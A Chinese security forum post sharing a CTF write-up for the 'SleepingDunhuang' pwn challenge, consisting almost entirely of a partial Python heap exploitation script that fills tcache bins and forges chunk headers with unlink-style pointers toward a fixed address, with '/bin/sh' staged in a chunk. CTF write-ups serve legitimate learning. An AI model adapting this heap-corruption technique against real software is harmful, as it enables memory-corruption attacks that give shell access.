首页
社区
课程
招聘
1
[原创]SleepingDunhuang WP
发表于: 2019-6-26 11:58 6014

[原创]SleepingDunhuang WP

xym 活跃值
4
2019-6-26 11:58
6014

这道题拿了一血。看su的wp说是改题了,我也不清楚什么时候改的。

做题时间有点久了,忘了题目是什么内容了,直接上关键的wp吧。

heap_addr = add(31, 'A' * 0x27)

print 'addr ', hex(heap_addr)

add(1, 'A' * 0x27)

for i in range(7):

add(2 + i, 'A' * 0x27)

add(9, 'A')

add(10, '/bin/sh\x00')

for i in range(7):

free(2 + i)

free(31)

for i in range(7):

add(2 + i, 'A' * 0x20 + p64(0xC0) + p8(0xC1))

add(31, p64(0) + p64(0x21) + p64(0x404178 - 0x18) + p64(0x404178 - 0x10) + p64(0x20) + p8(0xC0))

for i in range(6):

free(2 + i)


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 1
支持
分享
赞赏记录
参与人
雪币
留言
时间
PLEBFE
为你点赞~
2023-1-25 00:47
最新回复 (1)
雪    币: 55963
活跃值: (21450)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
2
修正了个bug
2019-6-28 11:03
0
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册